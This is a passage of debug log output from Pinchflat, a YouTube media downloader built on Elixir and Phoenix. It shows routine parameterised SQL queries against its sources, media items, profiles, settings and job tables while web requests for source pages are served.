s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [22] 18:15:19.558 [debug] QUERY OK source="media_items" db=0.0ms idle=1.6ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [22] 18:15:19.558 [debug] QUERY OK source="media_items" db=0.0ms idle=0.4ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [22, 10, 0] 18:15:19.592 [info] GET /sources/40 18:15:19.592 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"id" => "40"} Pipelines: [:browser] 18:15:19.592 [debug] QUERY OK source="sources" db=0.2ms idle=34.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [22] 18:15:19.593 [debug] QUERY OK source="sources" db=0.1ms queue=0.1ms idle=34.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [40] 18:15:19.593 [debug] QUERY OK source="media_items" db=0.2ms idle=34.4ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [22] 18:15:19.593 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:15:19.593 [debug] QUERY OK source="media_items" db=0.5ms idle=0.2ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [22, 10, 0] 18:15:19.602 [debug] QUERY OK source="tasks" db=457.4ms idle=25.9ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [28, "executing", "available", "scheduled", "retryable"] 18:15:19.602 [debug] QUERY OK source="oban_jobs" db=0.1ms idle=9.3ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" IN (?,?)) [3800355, 3668090] 18:15:19.603 [info] Sent 200 in 304ms 18:15:19.603 [debug] QUERY OK source="settings" db=0.0ms idle=9.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:15:19.603 [debug] QUERY OK source="settings" db=0.2ms idle=0.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:15:19.610 [debug] QUERY OK source="tasks" db=17.0ms idle=0.1ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [40, "executing", "available", "scheduled", "retryable"] 18:15:19.610 [debug] QUERY OK source="settings" db=0.0ms idle=7.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:15:19.610 [debug] QUERY OK source="oban_jobs" db=0.1ms idle=7.5ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" IN (?,?)) [3800381, 3721907] 18:15:19.611 [debug] QUERY OK source="settings" db=0.0ms idle=7.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:15:19.611 [debug] QUERY OK source="settings" db=0.0ms idle=0.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:15:19.611 [debug] QUERY OK source="sources" db=0.0ms idle=0.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [28] 18:15:19.611 [debug] QUERY OK source="settings" db=0.0ms idle=0.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:15:19.612 [debug] QUERY OK source="media_items" db=0.4ms idle=0.4ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [28] 18:15:19.612 [debug] QUERY OK source="sources" db=0.0ms idle=0.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [40] 18:15:19.612 [debug] QUERY OK source="media_items" db=0.6ms idle=0.7ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [28, 10, 0] 18:15:19.613 [debug] QUERY OK source="sources" db=0.5ms idle=0.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [28] 18:15:19.614 [debug] QUERY OK source="media_items" db=0.4ms idle=1.4ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [28] 18:15:19.615 [debug] QUERY OK source="media_items" db=1.5ms idle=1.2ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [28, 10, 0] 18:15:19.616 [debug] QUERY OK source="media_items" db=4.3ms idle=0.8ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [40] 18:15:19.617 [debug] QUERY OK source="sources" db=0.2ms idle=2.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [28] 18:15:19.620 [debug] QUERY OK source="media_items" db=3.2ms idle=3.2ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [40, 10, 0] 18:15:19.620 [debug] QUERY OK source="media_items" db=0.1ms idle=4.4ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [28] 18:15:19.620 [debug] QUERY OK source="sources" db=0.0ms idle=3.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [40] 18:15:19.621 [debug] QUERY OK source="media_items" db=0.6ms idle=0.3ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [40] 18:15:19.621 [debug] QUERY OK source="media_items" db=1.1ms idle=3.1ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [28, 10, 0] 18:15:19.622 [info] Sent 200 in 477ms 18:15:19.625 [debug] QUERY OK source="media_items" db=3.8ms idle=0.9ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [40, 10, 0] 18:15:19.625 [debug] QUERY OK source="sources" db=0.0ms idle=5.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [40] 18:15:19.626 [debug] QUERY OK source="media_items" db=0.5ms idle=4.4ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [40] 18:15:19.629 [debug] QUERY OK source="media_items" db=3.2ms queue=0.1ms idle=4.6ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [40, 10, 0] 18:15:19.630 [info] Sent 200 in 37ms 18:15:19.660 [info] GET /sources/32/edit 18:15:19.660 [debug] Processing with PinchflatWeb.Sources.SourceController.edit/2 Parameters: %{"id" => "32"} Pipelines: [:browser] 18:15:19.660 [debug] QUERY OK source="sources" db=0.0ms idle=35.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [32] 18:15:19.660 [debug] QUERY OK source="media_profiles" db=0.0ms idle=35.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 ORDER BY m0."name" [] 18:15:19.661 [debug] QUERY OK source="settings" db=0.0ms idle=34.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:15:19.661 [debug] QUERY OK source="settings" db=0.0ms idle=31.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:15:19.661 [debug] QUERY OK source="settings" db=0.0ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:15:19.662 [info] Sent 200 in 2ms 18:15:19.686 [debug] QUERY OK source="tasks" db=798.9ms idle=963.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [30, "executing", "available", "scheduled", "retryable"] 18:15:19.686 [debug] QUERY OK source="oban_jobs" db=0.6ms idle=25.4ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" IN (?,?)) [3800350, 3774416] 18:15:19.687 [debug] QUERY OK source="settings" db=0.0ms idle=25.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:15:19.687 [debug] QUERY OK source="settings" db=0.0ms idle=26.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", 